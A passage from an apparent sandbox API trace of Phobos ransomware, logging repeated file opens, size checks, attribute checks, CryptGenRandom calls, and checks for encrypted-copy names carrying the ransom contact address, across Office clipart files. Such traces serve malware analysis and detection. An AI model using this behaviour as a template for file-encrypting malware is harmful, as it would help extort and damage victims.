hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12824) returned 1 [0153.191] CloseHandle (hObject=0x574) returned 1 [0153.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf")) returned 0x220 [0153.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.192] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.193] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1372) returned 1 [0153.193] CloseHandle (hObject=0x574) returned 1 [0153.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02443_.wmf")) returned 0x220 [0153.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02443_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02443_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.194] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.194] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2188) returned 1 [0153.194] CloseHandle (hObject=0x574) returned 1 [0153.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf")) returned 0x220 [0153.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.195] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.250] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2612) returned 1 [0153.250] CloseHandle (hObject=0x57c) returned 1 [0153.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf")) returned 0x220 [0153.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.251] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.252] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2208) returned 1 [0153.252] CloseHandle (hObject=0x57c) returned 1 [0153.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf")) returned 0x220 [0153.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.253] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.257] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3112) returned 1 [0153.257] CloseHandle (hObject=0x57c) returned 1 [0153.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02450_.wmf")) returned 0x220 [0153.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02450_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02450_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.257] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.267] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3388) returned 1 [0153.267] CloseHandle (hObject=0x57c) returned 1 [0153.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf")) returned 0x220 [0153.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.267] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.268] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=24896) returned 1 [0153.268] CloseHandle (hObject=0x57c) returned 1 [0153.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf")) returned 0x220 [0153.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.268] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.271] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16666) returned 1 [0153.271] CloseHandle (hObject=0x57c) returned 1 [0153.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00014_.wmf")) returned 0x220 [0153.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00014_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00014_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.274] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.276] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18412) returned 1 [0153.276] CloseHandle (hObject=0x57c) returned 1 [0153.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00052_.wmf")) returned 0x220 [0153.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00052_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00052_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.277] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.278] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2228) returned 1 [0153.278] CloseHandle (hObject=0x57c) returned 1 [0153.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf")) returned 0x220 [0153.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.278] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.281] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2804) returned 1 [0153.281] CloseHandle (hObject=0x57c) returned 1 [0153.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf")) returned 0x220 [0153.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.281] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.283] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7416) returned 1 [0153.284] CloseHandle (hObject=0x57c) returned 1 [0153.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00478_.wmf")) returned 0x220 [0153.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00478_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00478_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.284] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.285] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=81964) returned 1 [0153.285] CloseHandle (hObject=0x57c) returned 1 [0153.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf")) returned 0x220 [0153.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.285] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.286] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7908) returned 1 [0153.286] CloseHandle (hObject=0x57c) returned 1 [0153.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf")) returned 0x220 [0153.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.287] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.405] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5132) returned 1 [0153.405] CloseHandle (hObject=0x574) returned 1 [0153.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf")) returned 0x220 [0153.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.406] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.406] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16284) returned 1 [0153.406] CloseHandle (hObject=0x574) returned 1 [0153.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf")) returned 0x220 [0153.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 